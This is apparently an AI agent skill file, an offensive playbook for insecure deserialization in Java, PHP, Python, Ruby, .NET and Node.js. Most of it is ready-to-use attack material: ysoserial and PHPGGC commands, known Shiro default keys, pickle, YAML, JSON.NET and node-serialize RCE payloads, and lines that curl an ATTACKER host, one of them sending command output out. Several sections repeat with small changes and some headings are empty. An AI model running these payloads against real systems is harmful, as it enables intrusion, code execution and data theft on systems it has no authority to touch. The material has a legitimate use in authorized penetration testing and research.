deserialization-insecure

name: deserialization-insecure description: >- Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

SKILL: Insecure Deserialization — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

0. RELATED ROUTING

• jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
• unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
• ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson @type payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint

Advanced Reference

Also load JAVA_GADGET_CHAINS.md when you need:

• Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
• SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
• Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
• .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
• Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
• Detection fingerprints: magic bytes table by format (Java AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

PHP Serialized Objects

Python Pickle

2. JAVA — GADGET CHAINS AND TOOLS

ysoserial — Primary Tool

# Project wrapper: reuses tools/ysoserial*.jar or downloads it when absent
python {SKILL_ROOT}/scripts/deserialization_payload.py \
  --gadget URLDNS \
  --command "http://UNIQUE_TOKEN.dnslog.cn" \
  --output payload.bin

# Send the generated raw payload
python {SKILL_ROOT}/scripts/http_test.py \
  --url "http://target/deserialize" \
  --method POST \
  --data @payload.bin \
  --headers '{"Content-Type":"application/x-java-serialized-object"}' \
  --show-command --show-summary --include-headers

# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7  — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2       — Spring Framework
# Groovy1               — Groovy
# Hibernate1            — Hibernate
# JBossInterceptors1    — JBoss
# Jdk7u21               — JDK 7u21 (no extra dependency)
# URLDNS                — DNS-only confirmation (no RCE, works everywhere)

URLDNS — Safe Confirmation Probe

URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:

java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.

Commons Collections — The Classic Chain

The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.

Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.

Apache Shiro — rememberMe Deserialization

Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

Attack flow:

1. Detect: response sets rememberMe=deleteMe cookie on invalid session
2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
3. AES-CBC encrypt with known key + random IV
4. Base64-encode → set as rememberMe cookie value
5. Send request → server decrypts → deserializes → RCE

DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.

Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).

WebLogic Deserialization

Multiple vectors:

• T3 protocol (port 7001): direct serialized object injection
• XMLDecoder (CVE-2017-10271): XML-based deserialization via /wls-wsat/CoordinatorPortType
• IIOP protocol: alternative to T3

# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner

Java RMI Registry

RMI Registry (port 1099) accepts serialized objects by design:

# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter

JDK Version Constraints

3. PHP — unserialize AND PHAR

Magic Method Chain

PHP deserialization triggers magic methods in order:

__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods

Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).

Serialized Object Format

O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}

phpMyAdmin Configuration Injection (Real-World Case)

phpMyAdmin PMA_Config class reads arbitrary files via source property:

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

PHPGGC — PHP Gadget Chain Generator

# List available chains:
phpggc -l

# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id

# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1

Phar Deserialization

Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.

Triggering functions (partial list):

file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

Attack flow:

1. Upload a valid file (e.g., JPEG with phar polyglot)
2. Trigger file operation: file_exists("phar://uploads/avatar.jpg")
3. PHP deserializes phar metadata → gadget chain executes

# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

4. PYTHON — PICKLE

reduce Method

Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()

Analyzing Pickle Opcodes

import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

Common Python Deserialization Sinks

pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)

Defensive Bypass: RestrictedUnpickler

Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

If safe_builtins includes eval, exec, or __import__ → still exploitable.

5. DETECTION METHODOLOGY

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

6. DEFENSE AWARENESS

7. QUICK REFERENCE — KEY PAYLOADS

# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"

# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"

# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

8. RUBY DESERIALIZATION

Ruby Marshal

• Marshal.load on untrusted data → RCE
• Fingerprint: binary data, no common text header
• Gadget chains exist for various Ruby versions
• Docker verification: hex payload via [hex_string].pack("H*")

Ruby YAML (YAML.load)

• YAML.load (not YAML.safe_load) executes arbitrary Ruby objects
• Pre Ruby 2.7.2: Gem::Requirement chain → git_set: id / git_set: sleep 600
• Ruby 2.x-3.x: Gem::Installer → TarReader → Kernel#system chain (longer, multi-step)
• Always test: YAML.load("--- !ruby/object:Gem::Installer\ni: x") for class instantiation check
• Payload template:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"

• Note: YAML.safe_load is safe (Ruby 2.1+); Psych.safe_load also safe

9. .NET DESERIALIZATION

• Traffic fingerprint:

  • BinaryFormatter: hex AAEAAD (base64 AAEAAAD/////)
  • ViewState: hex FF01 or /w prefix
  • JSON.NET: $type property in JSON

• BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation

• XmlSerializer: ObjectDataProvider + XamlReader chain for command execution

  <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
    <od:MethodName>Start</od:MethodName>
    <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
    <od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
  </root>
  

• NetDataContractSerializer: similar to BinaryFormatter, full type info in XML

• LosFormatter: used in ViewState, deserializes to ObjectStateFormatter

• JSON.NET: $type property enables type control → ObjectDataProvider + ExpandedWrapper chains

  {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
  

• Tool: ysoserial.net — generate payloads for all .NET formatters

  ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
  ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
  

• POP gadgets: ObjectDataProvider, ExpandedWrapper, AssemblyInstaller.set_Path

10. NODE.JS DESERIALIZATION

• node-serialize: unserialize() with IIFE (Immediately Invoked Function Expression)

  • Payload marker: _$$ND_FUNC$$_
  • Add () at end to auto-execute:

  {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
  

• funcster: __js_function property → constructor.constructor to access process

  {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
  

• cryo: similar to funcster, serializes JS objects with function support

RUBY DESERIALIZATION

Marshal (Binary Format)

# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget

# Detection: binary data starting with \x04\x08
# Or hex: 0408

# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload)    # triggers arbitrary code execution

YAML.load (Critical — Most Common Ruby Deser Sink)

# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

# Ruby <= 2.7.2 — Gem::Requirement chain:
# Triggers via !ruby/object constructor
---
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
    - !ruby/object:Gem::Source
      current_fetch_uri: !ruby/object:URI::Generic
        path: "| id"

# Ruby 2.x–3.x — Gem::Installer chain:
# Uses Gem::Installer → Gem::StubSpecification → Kernel#system
---
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
      read: 0
      header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
      socket: &1 !ruby/object:Gem::RequestSet
        sets: !ruby/object:Net::WriteAdapter
          socket: !ruby/module 'Kernel'
          method_id: :system
        git_set: id    # <-- command to execute
      method_id: :resolve

# Safe alternative: YAML.safe_load (whitelist of allowed types)

Tools

• elttam/ruby-deserialization — Ruby gadget chain generator
• frohoff/ysoserial inspiration → check Ruby-specific forks

.NET DESERIALIZATION

Traffic Fingerprinting

BinaryFormatter / LosFormatter

# Most dangerous — arbitrary type instantiation
# Tool: ysoserial.net

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64

# LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64

XmlSerializer + ObjectDataProvider

<root>
  <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <ObjectDataProvider.MethodParameters>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
    </ObjectDataProvider.MethodParameters>
    <ObjectDataProvider.ObjectInstance>
      <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
        <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
        <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
      </ProcessStartInfo>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>
</root>

JSON.NET with TypeNameHandling

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

Vulnerable when TypeNameHandling is set to Auto, Objects, Arrays, or All.

Tools

• pwntester/ysoserial.net — primary .NET deserialization payload generator
• Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile

NODE.JS DESERIALIZATION

node-serialize (IIFE Pattern)

// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}

funcster

// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}

PHP create_function + Deserialization Combo

// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command

// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}

11. RUBY DESERIALIZATION

Marshal

# Ruby's native serialization. Dangerous when deserializing untrusted data.
# Detection: Binary data starting with \x04\x08

# One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*")  # Minimal Marshal header
Marshal.load(payload)

YAML (CVE-rich surface)

# YAML.load is DANGEROUS — equivalent to eval for Ruby objects
# Safe alternative: YAML.safe_load

# Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Gem::DependencyList
    specs:
    - !ruby/object:Gem::Source
      uri: "| id"

# Ruby 2.x-3.x: Gem::Installer chain (more complex)
# Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
# (Full chain available in ysoserial-ruby / blind-ruby-deserialization)

# Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/

Tools: elttam/ruby-deserialization, mbechler/ysoserial (Ruby variant)

12. .NET DESERIALIZATION

Fingerprinting

BinaryFormatter (most dangerous)

# Always dangerous when deserializing untrusted data
# Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw

ViewState (ASP.NET)

# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"

# Leak machineKey from web.config (via LFI/backup) → forge ViewState

XmlSerializer + ObjectDataProvider

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ObjectDataProvider MethodName="Start">
    <ObjectInstance xsi:type="Process">
      <StartInfo>
        <FileName>cmd.exe</FileName>
        <Arguments>/c whoami</Arguments>
      </StartInfo>
    </ObjectInstance>
  </ObjectDataProvider>
</root>

JSON.NET ($type abuse)

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c whoami"
    }
  }
}

Vulnerable when TypeNameHandling != None in JSON deserialization settings.

Tools

• pwntester/ysoserial.net — primary .NET gadget chain generator
• NotSoSecure/Blacklist3r — decrypt/forge ViewState with known machineKey

13. NODE.JS DESERIALIZATION

node-serialize (IIFE injection)

// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

// Key: the () at the end causes immediate execution upon deserialization

funcster

// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}

PHP create_function + Deserialization Combo

// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest

// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}